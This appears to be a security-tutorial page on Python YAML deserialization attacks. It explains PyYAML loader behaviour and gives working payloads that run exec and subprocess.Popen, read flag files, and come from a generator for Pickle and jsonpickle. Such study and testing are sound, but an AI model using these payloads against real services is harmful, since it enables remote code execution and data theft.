# Python Yaml Deserialization

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## Yaml **Deserialization**

**Yaml** python libraries is also capable to **serialize python objects** and not just raw data:

```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
 
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```

Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).

![](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-409779817895dbf540b32676e263cf0016de98b9%2Fimage%20\(1040\).png?alt=media)

**safe\_load()** or **safe\_load\_all()** uses SafeLoader and **don’t support class object deserialization**. Class object deserialization example:

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```

The previous code used **unsafe\_load** to load the serialized python class. This is because in **version >= 5.1**, it doesn’t allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.

### Basic Exploit

Example on how to **execute a sleep**:

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```

### Vulnerable .load("\<content>") without Loader

**Old versions** of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)`

You can find the [**description of the vulnerability here**](https://hackmd.io/@defund/HJZajCVlP)**.** The proposed **exploit** in that page is:

```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec
```

Or you could also use this **one-liner provided by @ishaack**:

```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```

Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack.

## RCE

Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```

### Tool to create Payloads

The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**

```bash
python3 peas.py     
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick 
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
  - cat
    - /root/flag.txt
```

### References

* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

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